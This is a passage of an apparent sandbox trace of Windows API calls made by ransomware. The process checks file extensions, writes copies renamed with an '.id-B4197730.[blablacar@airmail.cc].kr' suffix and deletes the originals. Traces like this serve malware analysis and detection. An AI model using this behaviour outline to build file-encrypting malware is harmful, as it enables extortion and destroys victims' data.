lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString=".xls") returned 4 [0216.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.838] lstrlenW (lpString=".xlsx") returned 5 [0216.838] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0216.838] lstrlenW (lpString=".ppt") returned 4 [0216.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.838] lstrlenW (lpString=".zip") returned 4 [0216.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.838] lstrlenW (lpString=".rar") returned 4 [0216.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString=".bz2") returned 4 [0216.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString=".7z") returned 3 [0216.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.838] lstrlenW (lpString=".dbf") returned 4 [0216.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.838] lstrlenW (lpString=".1cd") returned 4 [0216.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0216.839] lstrlenW (lpString=".jpg") returned 4 [0216.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.839] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.839] lstrlenW (lpString="J0152558.WMF") returned 12 [0216.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.840] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16052) returned 1 [0216.840] CloseHandle (hObject=0x36c) returned 1 [0216.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220 [0216.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.841] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.841] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.842] GetLastError () returned 0x0 [0216.842] ReadFile (in: hFile=0x36c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0216.843] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0216.844] ReadFile (in: hFile=0x36c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.844] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.845] SetEndOfFile (hFile=0x4d8) returned 1 [0216.845] CloseHandle (hObject=0x4d8) returned 1 [0216.845] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.845] SetEndOfFile (hFile=0x36c) returned 1 [0217.153] CloseHandle (hObject=0x36c) returned 1 [0217.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0217.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.925] lstrlenW (lpString=".doc") returned 4 [0217.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString=".docx") returned 5 [0217.925] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.925] lstrlenW (lpString=".pdf") returned 4 [0217.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString=".xls") returned 4 [0217.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.925] lstrlenW (lpString=".xlsx") returned 5 [0217.925] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.925] lstrlenW (lpString=".ppt") returned 4 [0217.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.925] lstrlenW (lpString=".zip") returned 4 [0217.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.925] lstrlenW (lpString=".rar") returned 4 [0217.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString=".bz2") returned 4 [0217.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString=".7z") returned 3 [0217.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.925] lstrlenW (lpString=".dbf") returned 4 [0217.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.925] lstrlenW (lpString=".1cd") returned 4 [0217.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.925] lstrlenW (lpString=".jpg") returned 4 [0217.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.926] lstrlenW (lpString=".doc") returned 4 [0217.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.926] lstrlenW (lpString=".docx") returned 5 [0217.926] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0217.926] lstrlenW (lpString=".pdf") returned 4 [0217.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.926] lstrlenW (lpString=".xls") returned 4 [0217.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.926] lstrlenW (lpString=".xlsx") returned 5 [0217.926] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0217.926] lstrlenW (lpString=".ppt") returned 4 [0217.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.926] lstrlenW (lpString=".zip") returned 4 [0217.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.926] lstrlenW (lpString=".rar") returned 4 [0217.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.926] lstrlenW (lpString=".bz2") returned 4 [0217.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.927] lstrlenW (lpString=".7z") returned 3 [0217.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.927] lstrlenW (lpString=".dbf") returned 4 [0217.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.927] lstrlenW (lpString=".1cd") returned 4 [0217.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0217.927] lstrlenW (lpString=".jpg") returned 4 [0217.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.927] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.927] lstrlenW (lpString="J0152702.WMF") returned 12 [0217.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 49 os_tid = 0xe54 [0174.909] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3d13a30 [0174.910] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3d23a38 [0174.910] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a780 [0174.910] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcf48 [0174.910] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a888 [0174.910] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x42cc020 [0174.913] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a948 [0174.913] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a948, Size=0x20) returned 0x45dd80 [0174.913] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a8a0 [0174.913] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a8a0, Size=0x20) returned 0x45dc18 [0174.913] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.913] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.913] Wow64DisableWow64FsRedirection (in: OldValue=0x38bff50 | out: OldValue=0x38bff50*=0x0) returned 1 [0174.913] lstrlenW (lpString="kernel32.dll") returned 12 [0174.913] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd80 | out: hHeap=0x420000) returned 1 [0174.913] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.913] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dc18 | out: hHeap=0x420000) returned 1 [0174.913] Sleep (dwMilliseconds=0x64) [0175.171] lstrcmpiW (lpString1=".ini", lpString2=".kr") returned -1 [0175.171] lstrlenW (lpString="desktop.ini") returned 11 [0175.172] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0175.172] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=129) returned 1 [0175.172] CloseHandle (hObject=0x34c) returned 1 [0175.172] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0175.172] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr")) returned 0x26 [0175.173] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.173] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.173] lstrlenW (lpString=".doc") returned 4 [0175.173] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0175.173] lstrlenW (lpString=".docx") returned 5 [0175.173] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0175.173] lstrlenW (lpString=".pdf") returned 4 [0175.173] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0175.173] lstrlenW (lpString=".xls") returned 4 [0175.173] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0175.173] lstrlenW (lpString=".xlsx") returned 5 [0175.173] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0175.173] lstrlenW (lpString=".ppt") returned 4 [0175.173] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0175.173] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.173] lstrlenW (lpString=".zip") returned 4 [0175.173] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0175.173] lstrlenW (lpString=".rar") returned 4 [0175.173] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0175.173] lstrlenW (lpString=".bz2") returned 4 [0175.173] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0175.173] lstrlenW (lpString=".7z") returned 3 [0175.173] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0175.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.174] lstrlenW (lpString=".dbf") returned 4 [0175.174] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0175.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.174] lstrlenW (lpString=".1cd") returned 4 [0175.174] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0175.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.174] lstrlenW (lpString=".jpg") returned 4 [0175.174] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0175.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.174] lstrlenW (lpString=".doc") returned 4 [0175.174] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0175.174] lstrlenW (lpString=".docx") returned 5 [0175.174] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0175.174] lstrlenW (lpString=".pdf") returned 4 [0175.174] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0175.174] lstrlenW (lpString=".xls") returned 4 [0175.174] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0175.174] lstrlenW (lpString=".xlsx") returned 5 [0175.174] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0175.174] lstrlenW (lpString=".ppt") returned 4 [0175.174] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0175.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.174] lstrlenW (lpString=".zip") returned 4 [0175.174] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0175.175] lstrlenW (lpString=".rar") returned 4 [0175.175] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0175.175] lstrlenW (lpString=".bz2") returned 4 [0175.175] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0175.175] lstrlenW (lpString=".7z") returned 3 [0175.175] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0175.175] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.175] lstrlenW (lpString=".dbf") returned 4 [0175.175] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0175.175] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.175] lstrlenW (lpString=".1cd") returned 4 [0175.175] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0175.175] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0175.175] lstrlenW (lpString=".jpg") returned 4 [0175.175] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0175.175] Sleep (dwMilliseconds=0x64) [0175.459] Sleep (dwMilliseconds=0x64) [0175.738] lstrcmpiW (lpString1=".p7b", lpString2=".kr") returned 1 [0175.738] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0175.739] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.190] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4662) returned 1 [0176.190] CloseHandle (hObject=0x390) returned 1 [0176.190] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0176.190] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.190] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.190] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.190] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.190] lstrlenW (lpString=".doc") returned 4 [0176.190] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0176.190] lstrlenW (lpString=".docx") returned 5 [0176.190] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0176.190] lstrlenW (lpString=".pdf") returned 4 [0176.191] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0176.191] lstrlenW (lpString=".xls") returned 4 [0176.191] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0176.191] lstrlenW (lpString=".xlsx") returned 5 [0176.191] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0176.191] lstrlenW (lpString=".ppt") returned 4 [0176.191] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0176.191] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.191] lstrlenW (lpString=".zip") returned 4 [0176.191] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0176.191] lstrlenW (lpString=".rar") returned 4 [0176.191] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0176.191] lstrlenW (lpString=".bz2") returned 4 [0176.191] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0176.191] lstrlenW (lpString=".7z") returned 3 [0176.191] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0176.191] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.191] lstrlenW (lpString=".dbf") returned 4 [0176.191] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0176.191] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.191] lstrlenW (lpString=".1cd") returned 4 [0176.191] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0176.191] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.191] lstrlenW (lpString=".jpg") returned 4 [0176.191] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0176.191] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.192] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.192] lstrlenW (lpString=".doc") returned 4 [0176.192] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0176.192] lstrlenW (lpString=".docx") returned 5 [0176.192] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0176.192] lstrlenW (lpString=".pdf") returned 4 [0176.192] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0176.192] lstrlenW (lpString=".xls") returned 4 [0176.192] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0176.192] lstrlenW (lpString=".xlsx") returned 5 [0176.192] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0176.192] lstrlenW (lpString=".ppt") returned 4 [0176.192] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0176.192] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.192] lstrlenW (lpString=".zip") returned 4 [0176.192] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0176.192] lstrlenW (lpString=".rar") returned 4 [0176.192] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0176.192] lstrlenW (lpString=".bz2") returned 4 [0176.192] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0176.192] lstrlenW (lpString=".7z") returned 3 [0176.192] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0176.192] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.192] lstrlenW (lpString=".dbf") returned 4 [0176.192] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0176.192] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.192] lstrlenW (lpString=".1cd") returned 4 [0176.193] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0176.193] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0176.193] lstrlenW (lpString=".jpg") returned 4 [0176.193] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0176.193] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.193] lstrlenW (lpString="base_heb.xml") returned 12 [0176.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.196] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=738) returned 1 [0176.196] CloseHandle (hObject=0x390) returned 1 [0176.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0176.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.196] lstrlenW (lpString=".doc") returned 4 [0176.196] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.196] lstrlenW (lpString=".docx") returned 5 [0176.196] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0176.196] lstrlenW (lpString=".pdf") returned 4 [0176.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.196] lstrlenW (lpString=".xls") returned 4 [0176.197] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString=".xlsx") returned 5 [0176.197] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0176.197] lstrlenW (lpString=".ppt") returned 4 [0176.197] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.197] lstrlenW (lpString=".zip") returned 4 [0176.197] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.197] lstrlenW (lpString=".rar") returned 4 [0176.197] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString=".bz2") returned 4 